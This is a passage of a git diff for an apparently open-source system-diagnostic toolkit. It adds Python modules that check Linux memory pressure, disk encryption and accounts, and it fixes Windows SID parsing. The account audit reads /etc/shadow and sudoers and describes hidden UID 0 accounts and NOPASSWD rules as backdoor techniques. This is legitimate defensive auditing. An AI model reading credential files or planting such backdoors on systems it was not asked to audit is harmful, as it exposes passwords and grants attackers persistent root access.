Fedora/RHEL, chrony is the default instead:\n" + " sudo systemctl enable --now chronyd\n" + " chronyc tracking", + check, unit, + )) + return FixResult(module_name=self.name, actions=actions) + + def _guidance(self, title: str, description: str, check: str, unit: str) -> Action: + return Action( + title=title, + description=description, + risk_level=RiskLevel.SAFE, + kind=ActionKind.GUIDANCE, + data={"check": check, "unit": unit}, + ) diff --git a/modules/integrity/win_wmi_health/__init__.py b/modules/integrity/win_wmi_health/__init__.py index 6f461e1..ede5e08 100644 --- a/modules/integrity/win_wmi_health/__init__.py +++ b/modules/integrity/win_wmi_health/__init__.py @@ -316,7 +316,7 @@ def _test_wmi_query(self) -> Optional[dict]: return None def _get_wmi_repository_size(self) -> Optional[dict]: - """Get WMI repository size from C:\Windows\System32\wbem\Repository.""" + r"""Get WMI repository size from C:\Windows\System32\wbem\Repository.""" try: ps_cmd = ( "(Get-ChildItem -Recurse C:\\Windows\\System32\\wbem\\Repository -ErrorAction SilentlyContinue | " diff --git a/modules/performance/linux_memory_pressure/__init__.py b/modules/performance/linux_memory_pressure/__init__.py new file mode 100644 index 0000000..eed5866 --- /dev/null +++ b/modules/performance/linux_memory_pressure/__init__.py @@ -0,0 +1,355 @@ +"""Why this Linux machine feels slow: memory, swap, and the kernel's own +pressure metric. + +"Free memory" is the most misread number in Linux. A healthy system shows very +little of it, because the kernel uses everything spare as disk cache and gives +it back on demand. Reporting low free memory as a problem — which many tools do +— is wrong on every well-tuned machine. This module reads MemAvailable, the +value the kernel itself computes for "how much could a new process actually +get", and it reads Pressure Stall Information, which measures the thing users +actually feel: time lost waiting on memory. + +PSI is the honest metric here. `some avg60` over 20% means processes spent more +than a fifth of the last minute stalled waiting for memory — that is the +stuttering, beachballing experience, quantified. It is available on kernels 4.20 +and later; when it is not present the module falls back to available-memory and +swap ratios and says which it used. +""" + +from pathlib import Path + +from rescue.models import ( + Action, + ActionKind, + CheckResult, + Finding, + FixResult, + Mode, + Platform, + RiskLevel, + Severity, + SystemProfile, +) +from rescue.module_base import ModuleBase + +# Fractions of total RAM still available before this is worth mentioning. +_AVAILABLE_WARNING = 0.15 +_AVAILABLE_CRITICAL = 0.05 + +# Fraction of configured swap in use. Some swap use is normal and healthy — +# the kernel pages out genuinely idle memory. Heavy use is not. +_SWAP_WARNING = 0.50 +_SWAP_CRITICAL = 0.80 + +# Percent of the last 60 seconds during which at least one task stalled on +# memory. Above this, the machine is perceptibly slow. +_PSI_WARNING = 10.0 +_PSI_CRITICAL = 25.0 + +# Processes using more than this fraction of RAM are named, since one process is +# usually the whole explanation. +_HOG_FRACTION = 0.10 + + +class Module(ModuleBase): + name = "linux_memory_pressure" + category = "performance" + platforms = [Platform.LINUX] + risk_level = RiskLevel.SAFE + priority = 70 + depends_on = [] + estimated_duration = "5s" + + emits_codes = [ + "performance.linux_memory_pressure.memory_stall", + "performance.linux_memory_pressure.low_available_memory", + "performance.linux_memory_pressure.heavy_swap_use", + "performance.linux_memory_pressure.no_swap_configured", + "performance.linux_memory_pressure.memory_hog", + ] + + meminfo_path: str = "/proc/meminfo" + psi_path: str = "/proc/pressure/memory" + + def check(self, profile: SystemProfile) -> CheckResult: + if profile.platform is not Platform.LINUX: + return CheckResult( + module_name=self.name, + supported=False, + unsupported_reason=( + "This check reads /proc/meminfo and /proc/pressure; this host reports " + f"{profile.platform.value}." + ), + ) + + meminfo = self._meminfo() + if not meminfo: + return CheckResult( + module_name=self.name, + error=f"{self.meminfo_path} could not be read.", + ) + + total = meminfo.get("MemTotal", 0) + available = meminfo.get("MemAvailable", 0) + swap_total = meminfo.get("SwapTotal", 0) + swap_free = meminfo.get("SwapFree", 0) + if total <= 0: + return CheckResult(module_name=self.name, error="MemTotal was zero or missing.") + + findings: list[Finding] = [] + + psi = self._psi() + if psi is not None: + severity = None + if psi >= _PSI_CRITICAL: + severity = Severity.CRITICAL + elif psi >= _PSI_WARNING: + severity = Severity.WARNING + if severity is not None: + findings.append( + Finding( + title=f"Processes spent {psi:.0f}% of the last minute waiting for memory", + description=( + "This is the kernel's own measure of memory stall, and it maps " + "directly onto what you feel: windows that take a moment to " + "redraw, typing that lags, a machine that seems busy doing " + "nothing.\n\n" + "Anything above 10% is noticeable; above 25% the machine is " + "spending more time waiting than working." + ), + severity=severity, + category=self.category, + code="performance.linux_memory_pressure.memory_stall", + confidence=0.95, + data={"check": "memory_stall", "psi_some_avg60": psi}, + ) + ) + + available_fraction = available / total + if available_fraction <= _AVAILABLE_CRITICAL or available_fraction <= _AVAILABLE_WARNING: + findings.append( + Finding( + title=f"Only {_fmt(available)} of {_fmt(total)} memory is available", + description=( + "MemAvailable is the kernel's estimate of how much memory a new " + "program could actually get without swapping. It is not the same " + "as 'free' — a healthy Linux machine has almost no free memory, " + "because the kernel uses the rest as cache and hands it back on " + "demand. This number being low is the one that matters.\n\n" + "Once it reaches zero the kernel starts killing processes to " + "recover, which is what 'applications close by themselves' means." + ), + severity=( + Severity.CRITICAL if available_fraction <= _AVAILABLE_CRITICAL + else Severity.WARNING + ), + category=self.category, + code="performance.linux_memory_pressure.low_available_memory", + confidence=0.9, + data={ + "check": "low_available_memory", + "available_bytes": available, + "total_bytes": total, + "available_fraction": round(available_fraction, 4), + }, + ) + ) + + if swap_total > 0: + swap_used_fraction = (swap_total - swap_free) / swap_total + if swap_used_fraction >= _SWAP_WARNING: + findings.append( + Finding( + title=f"{swap_used_fraction:.0%} of swap is in use", + description=( + f"{_fmt(swap_total - swap_free)} of {_fmt(swap_total)} swap is " + "occupied. Some swap use is normal and good — the kernel moves " + "genuinely idle pages out to make room for cache. Heavy use " + "means active memory is being paged to disk, and every touch " + "of that memory now costs a disk read." + ), + severity=( + Severity.CRITICAL if swap_used_fraction >= _SWAP_CRITICAL + else Severity.WARNING + ), + category=self.category, + code="performance.linux_memory_pressure.heavy_swap_use", + confidence=0.9, + data={ + "check": "heavy_swap_use", + "swap_used_bytes": swap_total - swap_free, + "swap_total_bytes": swap_total, + "used_fraction": round(swap_used_fraction, 4), + }, + ) + ) + elif available_fraction <= _AVAILABLE_WARNING: + # No swap is a legitimate configuration; it only becomes a finding + # when memory is already tight, because then the kernel has no + # option between "slow" and "kill something". + findings.append( + Finding( + title="No swap is configured, and memory is already tight", + description=( + "With no swap, the kernel has nowhere to put idle pages when " + "memory runs short. Instead of getting slow, the machine jumps " + "straight to killing processes. A small swap file or zram gives it " + "a gentler option." + ), + severity=Severity.WARNING, + category=self.category, + code="performance.linux_memory_pressure.no_swap_configured", + confidence=0.8, + data={"check": "no_swap_configured"}, + ) + ) + + findings.extend(self._hog_findings(profile, total)) + return CheckResult(module_name=self.name, findings=findings) + + def _meminfo(self) -> dict[str, int]: + try: + text = Path(self.meminfo_path).read_text(errors="replace") + except OSError: + return {} + values: dict[str, int] = {} + for line in text.splitlines(): + key, _, rest = line.partition(":") + fields = rest.split() + if not fields: + continue + try: + amount = int(fields[0]) + except ValueError: + continue + # /proc/meminfo is in kB except for a few unitless counters. + values[key.strip()] = amount * 1024 if len(fields) > 1 else amount + return values + + def _psi(self) -> float | None: + """Return `some avg60` from /proc/pressure/memory, or None if unavailable.""" + try: + text = Path(self.psi_path).read_text(errors="replace") + except OSError: + return None + for line in text.splitlines(): + if not line.startswith("some "): + continue + for field in line.split(): + if field.startswith("avg60="): + try: + return float(field.split("=", 1)[1]) + except ValueError: + return None + return None + + def _hog_findings(self, profile: SystemProfile, total: int) -> list[Finding]: + hogs = [ + process for process in profile.processes + if process.memory_bytes >= total * _HOG_FRACTION + ] + hogs.sort(key=lambda p: p.memory_bytes, reverse=True) + return [ + Finding( + title=f"{process.name} is using {_fmt(process.memory_bytes)} of memory", + description=( + f"PID {process.pid} holds {process.memory_bytes / total:.0%} of this " + "machine's RAM.\n\n" + f" {process.command[:200]}\n\n" + "This is not automatically a problem — browsers, virtual machines, and " + "language servers legitimately use a lot. It is here so that when the " + "machine is short of memory you can see where it went." + ), + severity=Severity.INFO, + category=self.category, + code="performance.linux_memory_pressure.memory_hog", + confidence=0.9, + data={ + "check": "memory_hog", + "pid": process.pid, + "name": process.name, + "memory_bytes": process.memory_bytes, + }, + ) + for process in hogs[:5] + ] + + def fix(self, findings: CheckResult, mode: Mode) -> FixResult: + actions: list[Action] = [] + seen: set[str] = set() + for finding in findings.findings: + check = finding.data.get("check") + if check in seen and check != "memory_hog": + continue + seen.add(check) + + if check in ("memory_stall", "low_available_memory"): + actions.append(self._guidance( + "Find what is using the memory, then decide", + " 1. See the current picture, sorted by memory:\n" + " ps -eo pid,rss,comm --sort=-rss | head -15\n" + " 2. Watch it live if it comes and goes:\n" + " systemd-cgtop -m\n" + " 3. Browsers are the usual answer — each tab is a process. Closing " + "tabs genuinely works.\n" + " 4. If nothing obvious accounts for it, check for a leak: a process " + "whose memory only ever grows, never falls, over hours.\n\n" + "The tool does not kill processes for you. Killing the wrong one loses " + "unsaved work.", + check, + )) + elif check == "heavy_swap_use": + actions.append(self._guidance( + "Relieve swap pressure", + " 1. Close the largest memory consumers (see above) — swap usually " + "drains on its own once the pressure lifts.\n" + " 2. If it does not and you need it back immediately:\n" + " sudo swapoff -a && sudo swapon -a\n" + " Only do this when enough free RAM exists to hold what is in " + "swap; otherwise the kernel starts killing processes.\n" + " 3. On a machine with a slow disk, consider zram — compressed swap " + "in RAM, much faster than swapping to disk:\n" + " sudo apt install systemd-zram-generator # or zram-generator", + check, + )) + elif check == "no_swap_configured": + actions.append(self._guidance( + "Add some swap so the kernel has an option other than killing things", + "A 2-4 GB swap file is enough to smooth over spikes:\n" + " sudo fallocate -l 4G /swapfile\n" + " sudo chmod 600 /swapfile\n" + " sudo mkswap /swapfile\n" + " sudo swapon /swapfile\n" + " echo '/swapfile none swap sw 0 0' | sudo tee -a /etc/fstab\n\n" + "On a laptop that hibernates, swap must be at least as large as RAM " + "for hibernation to work.", + check, + )) + elif check == "memory_hog": + actions.append(self._guidance( + f"Consider whether {finding.data.get('name')} needs that much memory", + f" ps -p {finding.data.get('pid')} -o pid,rss,etime,args\n\n" + "If it is something you are actively using, this is fine. If it has " + "been running for days and is still growing, restarting it is the " + "cheapest fix for a leak.", + check, + )) + return FixResult(module_name=self.name, actions=actions) + + def _guidance(self, title: str, description: str, check: str) -> Action: + return Action( + title=title, + description=description, + risk_level=RiskLevel.SAFE, + kind=ActionKind.GUIDANCE, + data={"check": check}, + ) + + +def _fmt(n: int) -> str: + value = float(n) + for unit in ("B", "KB", "MB", "GB", "TB"): + if abs(value) < 1024: + return f"{value:.1f} {unit}" + value /= 1024 + return f"{value:.1f} PB" diff --git a/modules/performance/win_user_profiles/__init__.py b/modules/performance/win_user_profiles/__init__.py index b7a6579..248d34d 100644 --- a/modules/performance/win_user_profiles/__init__.py +++ b/modules/performance/win_user_profiles/__init__.py @@ -50,7 +50,10 @@ def check(self, profile: SystemProfile) -> CheckResult: for profile in profiles: path = profile.get("LocalPath", "") - sid = profile.get("SID", "") + # Normalised for the same reason as in _get_user_accounts: a SID + # that arrives as an object rather than a string must not make an + # orphan-detection comparison silently meaningless. + sid = _sid_string(profile.get("SID", "")) last_use_str = profile.get("LastUseTime", "") is_special = profile.get("Special", False) @@ -344,7 +347,25 @@ def _get_user_profiles(self) -> list[dict]: return [] def _get_user_accounts(self) -> set[str]: - """Get set of user account SIDs using PowerShell.""" + """Get the set of local user account SIDs, as strings. + + `Get-LocalUser` returns a SecurityIdentifier *object*, and + `ConvertTo-Json` serialises it as a nested object rather than as the + "S-1-5-21-..." string everyone expects: + + {"SID": {"BinaryLength": 28, "AccountDomainSid": {...}, + "Value": "S-1-5-21-..."}} + + The original query asked for `Select-Object SID` and then put the + result straight into a set, so on any real Windows machine this raised + `TypeError: unhashable type: 'dict'` and the whole check reported + "unavailable". It was never caught because the suite had never been run + on Windows. + + Fixed on both sides: the query now projects the string out, and the + parser normalises anything object-shaped that reaches it anyway — the + exact serialisation varies between PowerShell 5.1 and 7. + """ try: cmd = [ "powershell", @@ -352,7 +373,7 @@ def _get_user_accounts(self) -> set[str]: "-Command", ( "Get-LocalUser | " - "Select-Object SID | " + "Select-Object @{Name='SID';Expression={$_.SID.Value}} | " "ConvertTo-Json" ), ] @@ -366,18 +387,20 @@ def _get_user_accounts(self) -> set[str]: import json try: data = json.loads(result.stdout.strip()) - # Handle both single user (dict) and multiple users (list) - if isinstance(data, dict): - return {data.get("SID", "")} - sids = set() - if isinstance(data, list): - for user in data: - sid = user.get("SID", "") - if sid: - sids.add(sid) - return sids except json.JSONDecodeError: return set() + # Handle both single user (dict) and multiple users (list) + entries = [data] if isinstance(data, dict) else data + if not isinstance(entries, list): + return set() + sids = set() + for user in entries: + if not isinstance(user, dict): + continue + sid = _sid_string(user.get("SID")) + if sid: + sids.add(sid) + return sids return set() except (OSError, subprocess.SubprocessError, subprocess.TimeoutExpired): return set() @@ -407,6 +430,23 @@ def _get_directory_size_powershell(self, path: str) -> int: return 0 +def _sid_string(value) -> str: + """Normalise a SID from PowerShell JSON into the plain 'S-1-5-…' string. + + PowerShell serialises a SecurityIdentifier as an object with a ``Value`` + member, and which cmdlets do that varies between 5.1 and 7. Anything that + is not a string or a recognisable SID object yields "" rather than raising: + a profile whose SID cannot be read should be treated as unknown, not crash + the check for every other profile on the machine. + """ + if isinstance(value, str): + return value.strip() + if isinstance(value, dict): + inner = value.get("Value") + return inner.strip() if isinstance(inner, str) else "" + return "" + + def _fmt_bytes(n: int) -> str: """Format bytes as human-readable string.""" if n is None or n == 0: diff --git a/modules/security/linux_account_audit/__init__.py b/modules/security/linux_account_audit/__init__.py new file mode 100644 index 0000000..634c8f2 --- /dev/null +++ b/modules/security/linux_account_audit/__init__.py @@ -0,0 +1,331 @@ +"""Who can log in to this machine, and who can become root. + +Three questions this answers that nothing else in the toolkit does on Linux: +which accounts can actually log in, which of them have administrative power, +and whether any of them can use that power without proving who they are. + +A second UID 0 account is the classic backdoor — it is root, but it is not +called root, so it does not appear anywhere someone would think to look. A +NOPASSWD sudoers rule means a compromised session escalates to root with no +prompt at all. Neither is visible in any desktop settings panel. + +Reading /etc/shadow requires root. When it cannot be read the module says so +rather than reporting "no empty passwords found", because those are very +different statements and only one of them is true. +""" + +import os +import re +from pathlib import Path + +from rescue.command import run +from rescue.fsbounds import is_dir_nofollow, is_file_nofollow +from rescue.models import ( + Action, + ActionKind, + CheckResult, + Finding, + FixResult, + Mode, + Platform, + RiskLevel, + Severity, + SystemProfile, +) +from rescue.module_base import ModuleBase + +_TIMEOUT = 10.0 + +# Shells that mean "this account exists to own files, not to be logged into". +_NOLOGIN_SHELLS = {"/usr/sbin/nologin", "/sbin/nologin", "/bin/false", "/usr/bin/false", ""} + +# Groups whose members can escalate to root on mainstream distributions. +_ADMIN_GROUPS = ("sudo", "wheel", "admin", "root") + +_NOPASSWD = re.compile(r"^\s*(?!#)(\S+)\s+.*NOPASSWD:", re.M) + + +class Module(ModuleBase): + name = "linux_account_audit" + category = "security" + platforms = [Platform.LINUX] + risk_level = RiskLevel.SAFE + priority = 82 + depends_on = [] + estimated_duration = "10s" + + emits_codes = [ + "security.linux_account_audit.extra_uid0_account", + "security.linux_account_audit.empty_password", + "security.linux_account_audit.passwordless_sudo", + "security.linux_account_audit.shadow_unreadable", + "security.linux_account_audit.admin_inventory", + ] + + passwd_path: str = "/etc/passwd" + shadow_path: str = "/etc/shadow" + group_path: str = "/etc/group" + sudoers_path: str = "/etc/sudoers" + sudoers_dir: str = "/etc/sudoers.d" + + def check(self, profile: SystemProfile) -> CheckResult: + if profile.platform is not Platform.LINUX: + return CheckResult( + module_name=self.name, + supported=False, + unsupported_reason=( + "This check reads /etc/passwd, /etc/shadow and sudoers as laid out on " + f"Linux; this host reports {profile.platform.value}." + ), + ) + + accounts = self._accounts() + if accounts is None: + return CheckResult( + module_name=self.name, + error=f"{self.passwd_path} could not be read, so no account audit is possible.", + ) + + findings: list[Finding] = [] + findings.extend(self._uid0_findings(accounts)) + findings.extend(self._password_findings(accounts)) + findings.extend(self._sudo_findings()) + findings.append(self._admin_inventory(accounts)) + return CheckResult(module_name=self.name, findings=findings) + + def _accounts(self) -> list[dict] | None: + try: + text = Path(self.passwd_path).read_text(errors="replace") + except OSError: + return None + accounts = [] + for line in text.splitlines(): + fields = line.split(":") + if len(fields) < 7: + continue + try: + uid = int(fields[2]) + except ValueError: + continue + accounts.append({ + "name": fields[0], + "uid": uid, + "gid": fields[3], + "home": fields[5], + "shell": fields[6], + }) + return accounts + + def _uid0_findings(self, accounts: list[dict]) -> list[Finding]: + uid0 = [a for a in accounts if a["uid"] == 0 and a["name"] != "root"] + return [ + Finding( + title=f"Account '{account['name']}' has root privileges (UID 0)", + description=( + f"'{account['name']}' shares UID 0 with root, which means it *is* root: " + "same powers, different name. A handful of appliance distributions ship " + "an alias like 'toor' deliberately, but on a normal system a second UID " + "0 account is how someone keeps access after you change the root " + "password.\n\n" + f" shell: {account['shell']}\n" + f" home: {account['home']}" + ), + severity=Severity.CRITICAL, + category=self.category, + code="security.linux_account_audit.extra_uid0_account", + confidence=0.85, + data={"check": "extra_uid0_account", "account": account["name"], "shell": account["shell"]}, + ) + for account in uid0 + ] + + def _password_findings(self, accounts: list[dict]) -> list[Finding]: + try: + shadow = Path(self.shadow_path).read_text(errors="replace") + except OSError: + return [ + Finding( + title="Password status could not be checked", + description=( + f"{self.shadow_path} is readable only by root, so this run could not " + "check whether any account has an empty password. Re-run with sudo " + "for that answer. Treat this as 'not checked', not as 'nothing " + "wrong'." + ), + severity=Severity.INFO, + category=self.category, + code="security.linux_account_audit.shadow_unreadable", + confidence=1.0, + data={"check": "shadow_unreadable"}, + ) + ] + + by_name = {a["name"]: a for a in accounts} + findings = [] + for line in shadow.splitlines(): + fields = line.split(":") + if len(fields) < 2 or fields[1] != "": + continue + name = fields[0] + account = by_name.get(name, {}) + # A system account with no password *and* no login shell cannot be + # logged into; reporting it would be noise. + if account.get("shell", "") in _NOLOGIN_SHELLS: + continue + findings.append( + Finding( + title=f"Account '{name}' has no password set", + description=( + f"'{name}' can be logged into with no credential at all, from the " + "console and — if SSH permits empty passwords — over the network. " + "Set a password or lock the account." + ), + severity=Severity.CRITICAL, + category=self.category, + code="security.linux_account_audit.empty_password", + confidence=0.9, + data={"check": "empty_password", "account": name}, + ) + ) + return findings + + def _sudo_findings(self) -> list[Finding]: + texts: list[tuple[str, str]] = [] + if is_file_nofollow(self.sudoers_path): + try: + texts.append((self.sudoers_path, Path(self.sudoers_path).read_text(errors="replace"))) + except OSError: + pass + if is_dir_nofollow(self.sudoers_dir): + try: + for path in sorted(Path(self.sudoers_dir).iterdir()): + if is_file_nofollow(path): + texts.append((str(path), path.read_text(errors="replace"))) + except OSError: + pass + + findings = [] + for path, text in texts: + for match in _NOPASSWD.finditer(text): + principal = match.group(1) + findings.append( + Finding( + title=f"{principal} can run commands as root without a password", + description=( + f"{path} contains a NOPASSWD rule for {principal}.\n\n" + f" {match.group(0).strip()[:200]}\n\n" + "This is convenient and it is also the difference between " + "'someone got into your user session' and 'someone got root'. " + "Automation on a server sometimes needs it; a desktop rarely " + "does. If it is needed, scope it to specific commands rather " + "than ALL." + ), + severity=Severity.WARNING, + category=self.category, + code="security.linux_account_audit.passwordless_sudo", + confidence=0.9, + data={ + "check": "passwordless_sudo", + "principal": principal, + "path": path, + "rule": match.group(0).strip()[:200], + }, + ) + ) + return findings + + def _admin_inventory(self, accounts: list[dict]) -> Finding: + members: dict[str, list[str]] = {} + try: + for line in Path(self.group_path).read_text(errors="replace").splitlines(): + fields = line.split(":") + if len(fields) < 4 or fields[0] not in _ADMIN_GROUPS: + continue + names = [n for n in fields[3].split(",") if n] + if names: + members[fields[0]] = names + except OSError: + pass + + loginable = sorted( + a["name"] for a in accounts + if a["shell"] not in _NOLOGIN_SHELLS and a["uid"] >= 1000 or a["uid"] == 0 + ) + + lines = ["Accounts that can log in:", " " + (", ".join(loginable) or "(none found)"), ""] + if members: + lines.append("Administrative group membership:") + for group in sorted(members): + lines.append(f" {group}: {', '.join(sorted(members[group]))}") + else: + lines.append("No members listed in sudo/wheel/admin groups (or the file was unreadable).") + + return Finding( + title=f"{len(loginable)} account(s) can log in to this machine", + description=( + "\n".join(lines) + + "\n\nLook for a name you do not recognise. That is the whole point of " + "this list; there is nothing wrong with any of these entries by default." + ), + severity=Severity.INFO, + category=self.category, + code="security.linux_account_audit.admin_inventory", + confidence=1.0, + data={"check": "admin_inventory", "accounts": loginable, "admin_groups": members}, + ) + + def fix(self, findings: CheckResult, mode: Mode) -> FixResult: + actions: list[Action] = [] + for finding in findings.findings: + check = finding.data.get("check") + account = finding.data.get("account", "") + + if check == "extra_uid0_account": + actions.append(self._guidance( + f"Decide whether '{account}' should exist at all", + f" 1. See when it was created and what it owns:\n" + f" sudo grep '^{account}:' /etc/passwd\n" + f" sudo lastlog -u {account}\n" + f" sudo find / -xdev -user {account} 2>/dev/null | head\n" + " 2. If you did not create it, lock it immediately (locking is " + "reversible; deleting destroys the evidence of how it got there):\n" + f" sudo usermod -L -s /usr/sbin/nologin {account}\n" + " 3. Then assume whoever created it had root, and work through the " + "digital_security_reset profile: `rescue guide digital_security_reset`.", + check, account, + )) + elif check == "empty_password": + actions.append(self._guidance( + f"Set or lock the password for '{account}'", + f" sudo passwd {account} # set one\n" + f" sudo passwd -l {account} # or lock the account\n\n" + "Then confirm:\n" + f" sudo passwd -S {account}", + check, account, + )) + elif check == "passwordless_sudo": + actions.append(self._guidance( + f"Review the passwordless sudo rule for {finding.data.get('principal')}", + f" sudo visudo -f {finding.data.get('path')}\n\n" + "Use `visudo` rather than an editor directly — it validates the file " + "before saving, and a broken sudoers file can leave you unable to use " + "sudo at all. Narrow the rule to the specific commands that need it, " + "or remove it if nothing does.", + check, account, + )) + elif check == "shadow_unreadable": + actions.append(self._guidance( + "Re-run this check as root to include password status", + " sudo rescue run linux_account_audit --yes", + check, account, + )) + return FixResult(module_name=self.name, actions=actions) + + def _guidance(self, title: str, description: str, check: str, account: str) -> Action: + return Action( + title=title, + description=description, + risk_level=RiskLevel.SAFE, + kind=ActionKind.GUIDANCE, + data={"check": check, "account": account}, + ) diff --git a/modules/security/linux_disk_encryption_check/__init__.py b/modules/security/linux_disk_encryption_check/__init__.py new file mode 100644 index 0000000..dee7db7 --- /dev/null +++ b/modules/security/linux_disk_encryption_check/__init__.py @@ -0,0 +1,313 @@ +"""Is the data on this machine's disks encrypted at rest? + +Full-disk encryption is the only control that survives the threat this toolkit +is most often used after: the laptop is gone. Screen locks, passwords, and +firewalls all assume the machine is still yours. Once someone has the physical +drive, an unencrypted filesystem hands over browser sessions, SSH keys, saved +passwords, tax documents, and every message ever synced to the machine — no +password required, because none is asked for. + +Linux encryption is layered: LUKS containers under filesystems, or per-directory +encryption via fscrypt (ext4), or ZFS/btrfs native encryption. This checks for +LUKS first (by far the most common), then looks for the others so a machine +using them is not wrongly reported as unencrypted. + +The check never asks for, stores, or displays a passphrase or recovery key. +""" + +from pathlib import Path + +from rescue.command import run +from rescue.models import ( + Action, + ActionKind, + CheckResult, + Finding, + FixResult, + Mode, + Platform, + RiskLevel, + Severity, + SystemProfile, +) +from rescue.module_base import ModuleBase + +_TIMEOUT = 15.0 + +# Pseudo-filesystems and removable/virtual mounts that say nothing about +# whether the user's data is encrypted. +_IGNORED_FS = { + "tmpfs", "devtmpfs", "proc", "sysfs", "cgroup", "cgroup2", "overlay", + "squashfs", "iso9660", "efivarfs", "debugfs", "tracefs", "fuse.portal", + "autofs", "mqueue", "hugetlbfs", "pstore", "bpf", "configfs", "securityfs", + "ramfs", "binfmt_misc", "fusectl", "nsfs", "devpts", +} + +_PROTECTED_MOUNTS = ("/", "/home") + + +class Module(ModuleBase): + name = "linux_disk_encryption_check" + category = "security" + platforms = [Platform.LINUX] + risk_level = RiskLevel.SAFE + priority = 87 + depends_on = [] + estimated_duration = "15s" + + emits_codes = [ + "security.linux_disk_encryption_check.root_not_encrypted", + "security.linux_disk_encryption_check.home_not_encrypted", + "security.linux_disk_encryption_check.encryption_undetermined", + "security.linux_disk_encryption_check.encrypted", + ] + + mounts_path: str = "/proc/mounts" + + def check(self, profile: SystemProfile) -> CheckResult: + if profile.platform is not Platform.LINUX: + return CheckResult( + module_name=self.name, + supported=False, + unsupported_reason=( + "This check reads Linux block-device and mount layout; this host " + f"reports {profile.platform.value}." + ), + ) + + mounts = self._mounts() + if not mounts: + return CheckResult( + module_name=self.name, + error=f"{self.mounts_path} could not be read, so mount points are unknown.", + ) + + encrypted_devices, determined = self._encrypted_devices() + if not determined: + return CheckResult( + module_name=self.name, + findings=[ + Finding( + title="Disk encryption status could not be determined", + description=( + "Neither lsblk nor /dev/mapper could be inspected, so this run " + "cannot say whether the disks are encrypted. Re-run with sudo. " + "Do not read this as 'not encrypted' — it is 'not checked'." + ), + severity=Severity.INFO, + category=self.category, + code="security.linux_disk_encryption_check.encryption_undetermined", + confidence=1.0, + data={"check": "encryption_undetermined"}, + ) + ], + ) + + findings: list[Finding] = [] + protected: list[str] = [] + + for mount_point in _PROTECTED_MOUNTS: + device = mounts.get(mount_point) + if device is None: + continue # /home is often part of / rather than its own mount + if self._is_encrypted(device, mount_point, encrypted_devices): + protected.append(mount_point) + continue + + preamble = f"{device} mounted at {mount_point} is stored unencrypted.\n\n" + # Written as two constructions rather than one with conditional + # arguments so each finding code is a literal at its call site — + # that is what makes the set of codes a module can emit statically + # discoverable for the remediation catalog. + if mount_point == "/": + findings.append( + Finding( + title=f"{mount_point} is not encrypted", + description=( + preamble + + "Everything on this machine — saved passwords, browser " + "sessions, SSH keys, documents — can be read by anyone who gets " + "the drive out of it. That takes a screwdriver and a few " + "minutes; your login password is not involved." + ), + severity=Severity.WARNING, + category=self.category, + code="security.linux_disk_encryption_check.root_not_encrypted", + confidence=0.85, + data={ + "check": "root_not_encrypted", + "mount_point": mount_point, + "device": device, + }, + ) + ) + else: + findings.append( + Finding( + title=f"{mount_point} is not encrypted", + description=( + preamble + + "Your personal files are stored unencrypted, so they can be " + "read directly off the drive by anyone who has it, regardless " + "of your login password." + ), + severity=Severity.WARNING, + category=self.category, + code="security.linux_disk_encryption_check.home_not_encrypted", + confidence=0.85, + data={ + "check": "home_not_encrypted", + "mount_point": mount_point, + "device": device, + }, + ) + ) + + if protected: + findings.append( + Finding( + title=f"Encryption is active on {', '.join(protected)}", + description=( + "These mount points sit on encrypted storage, so their contents " + "are unreadable without the passphrase if the machine is lost or " + "stolen while powered off.\n\n" + "Two things this does not protect against, worth knowing: it does " + "nothing while the machine is unlocked and running, and it does " + "nothing if the passphrase is guessable. Encryption plus a weak " + "passphrase is a locked door with the key under the mat." + ), + severity=Severity.INFO, + category=self.category, + code="security.linux_disk_encryption_check.encrypted", + confidence=0.9, + data={"check": "encrypted", "mount_points": protected}, + ) + ) + + return CheckResult(module_name=self.name, findings=findings) + + def _mounts(self) -> dict[str, str]: + try: + text = Path(self.mounts_path).read_text(errors="replace") + except OSError: + return {} + mounts: dict[str, str] = {} + for line in text.splitlines(): + fields = line.split() + if len(fields) < 3: + continue + device, mount_point, fs_type = fields[0], fields[1], fields[2] + if fs_type in _IGNORED_FS: + continue + mounts.setdefault(mount_point, device) + return mounts + + def _encrypted_devices(self) -> tuple[set[str], bool]: + """Names of device-mapper targets backed by LUKS, and whether we know. + + The second element distinguishes "asked, found none" from "could not + ask" — the difference between a real answer and no answer. + """ + result = run(["lsblk", "-o", "NAME,TYPE,FSTYPE,MOUNTPOINT", "-P"], timeout=_TIMEOUT) + if result.error is None and result.returncode == 0 and result.stdout.strip(): + encrypted: set[str] = set() + for line in result.stdout.splitlines(): + fields = dict( + part.split("=", 1) for part in line.split() if "=" in part + ) + name = fields.get("NAME", "").strip('"') + fstype = fields.get("FSTYPE", "").strip('"') + type_ = fields.get("TYPE", "").strip('"') + if fstype.startswith("crypto_LUKS") or type_ == "crypt": + encrypted.add(name) + return encrypted, True + + # Fallback: a mounted LUKS volume always appears under /dev/mapper. + mapper = Path("/dev/mapper") + try: + if mapper.is_dir(): + return {p.name for p in mapper.iterdir() if p.name != "control"}, True + except OSError: + pass + return set(), False + + def _is_encrypted(self, device: str, mount_point: str, encrypted: set[str]) -> bool: + # A LUKS-backed filesystem is mounted from its mapper device, so the + # device path itself carries the evidence. + if device.startswith("/dev/mapper/") or device.startswith("/dev/dm-"): + name = device.rsplit("/", 1)[-1] + if name in encrypted or not encrypted: + # An unopened LUKS volume cannot be mounted, so a mapper mount + # with an unrecognised name is still most likely encrypted; but + # only claim it when lsblk actually listed a crypt layer. + return name in encrypted + if any(name and name in device for name in encrypted): + return True + # ZFS and btrfs native encryption, and ext4 fscrypt, do not use mapper + # devices. Ask the filesystem rather than assuming. + return self._native_encryption(mount_point) + + def _native_encryption(self, mount_point: str) -> bool: + status = run(["fscryptctl", "get_policy", mount_point], timeout=_TIMEOUT) + if status.error is None and status.returncode == 0 and status.stdout.strip(): + return True + zfs = run(["zfs", "get", "-H", "-o", "value", "encryption", mount_point], timeout=_TIMEOUT) + if zfs.error is None and zfs.returncode == 0: + value = zfs.stdout.strip().lower() + if value and value not in ("off", "-", "none"): + return True + return False + + def fix(self, findings: CheckResult, mode: Mode) -> FixResult: + actions: list[Action] = [] + for finding in findings.findings: + check = finding.data.get("check") + + if check in ("root_not_encrypted", "home_not_encrypted"): + actions.append( + Action( + title=f"Encrypt {finding.data.get('mount_point')}", + description=( + "Be straight with yourself about the cost here: on Linux, " + "encrypting an existing root filesystem in place is genuinely " + "risky and usually means a reinstall.\n\n" + "Realistic options, easiest first:\n\n" + " 1. **At the next reinstall**, tick 'Encrypt the new " + "installation' in the installer. Every mainstream installer " + "offers it and it is the least painful path by a wide margin.\n\n" + " 